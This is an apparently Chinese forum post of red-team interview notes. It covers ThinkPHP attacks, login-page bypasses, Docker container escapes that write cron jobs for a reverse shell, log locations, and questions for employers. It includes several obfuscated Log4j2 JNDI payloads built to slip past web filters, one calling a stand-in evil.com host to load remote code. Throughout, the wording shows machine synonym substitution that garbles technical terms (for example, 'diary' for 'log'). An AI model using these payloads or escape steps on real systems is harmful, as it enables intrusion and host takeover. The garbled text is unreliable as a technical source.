TP的打法:(1)各类rce尝试(2)日记包罗,找日记(3)利用session拿下(条件竞争)(4)读文件,读数据库密码

22.登录窗口/背景的渗透思路
(1)弱口令/爆破,验证码可尝试用全能验证码绕过(逻辑漏洞),删除cookie等fuzzing burp suite,在ua头添加Set-Cookie
(2)密码找回,逻辑漏洞能不能拿下管理员账户,以及密码加密后+1,原理是复杂的md5/hash后端解密不出来,开发可能默认用做全能密码
(3)sql注入/全能密码
(4)可能是shiro的框架
(5)检察js,可能在js内里找到一些额外的东西,比如cms指纹以及其他编辑器

23.Docker逃逸
检察是否是docker环境:cat /proc/1/cgroup内是否包罗docker字符,.dockerenv文件是否存在
逃逸方法:
(1)Docker Remote API未授权:假如权限控制不当,可通过docker client或者http访问这个API,然后将宿主机的根目次挂在到容器的/mnt目次下,写入计划使命和公私钥,即可免密登录
(2)利用特权模式逃逸:在特权模式下,容器拥有所有权利,比如宿主机的一些内核特性和设备(利用fdisk -l检测或者0000003fffffffff),然后将/dev/vda2磁盘挂载到容器里的某个文件夹里(比如abc),然后再往/abc目次下写入文件(echo即可),假如可以,则可以写入计划使命反弹shell
(3)Docker.sock挂载到了容器里,由于docker.sock挂载到了容器里,在容器里先安装docker,在新容器挂载主机路径,写入计划使命,逃逸

24.Log4j2
漏洞原理:Property Support引用设置中的属性,或通报给底层组件并动态剖析,用户可以用自定义的 Lookup 组件来设置自定义的值,Lookup组件内里就有jndi
Log4j2绕过waf:
(1)利用环境变量绕过(env:ENV_NAME,${jnd${sys:SYS_NAME:-i})
(2)大小写,${lower:l}
(3)更换,${::-b} == ${:-b} == a${E:-a}c,利用data,${date:'j'}${date:'n'}
(4)编码,url编码,unicode编码
(5)特别符号,${date:'j'}${date:'n${jndi:ldap://127.0.0.1#evil.com/z},java.net.URI getHost()方法返回#之前的值作为真正的host

25.后门清算/各类日记
windows系统日记位置:C:\Windows\System32\Winevt       或者下令(eventvwr.msc)打开日记
windows日记注册表:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
linux日记位置: /var/log
windows常见入侵排查:1.注册表 2.用户 3.计划使命 4.sc自启动 5.启动项文件夹
linux常见入侵排查:1.账号(有无新增可以账号,平常账号有无sudo权限)2.history下令或者.bash_history文件 3.开机启动项(/etc/rc) 4.计划使命(crontab&&spool)

26.我想问的
(1)团队目前环境,团队有多少人,各个师傅的技能栈是怎么样的,后续团队会有新的发展方向么,团队成立时间多久了,团队业务应收是公司排名靠前的么,安服的业务重要偏向web照旧内网,出差的频率是多少(一年大概几次,一次多长,大概是分布哪些地方,业务的对象偏向金融照旧政企),团队工作强度怎么样
(2)普调多久一次(普调涨薪的范围是多少),年末奖是多少薪/好久发,晋升是怎么样的,试用期好久(薪资打折么),工资几号发,有其他补助么(餐补/交通补),出差补助是怎么样的,入职配电脑么,公司内部有wifi么
(3)五险一金基数怎么样,年假有多少,周末双休么,工作强度怎么样,上班时间怎么样(打卡么),有食堂么,具体福利还有什么(比如生日福利,中秋节这些),企业文化(员工培训),加班怎么算(平常工作日加班,节沐日加班,出差甲方周末要求加班)

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 面试问题-(红队/HW)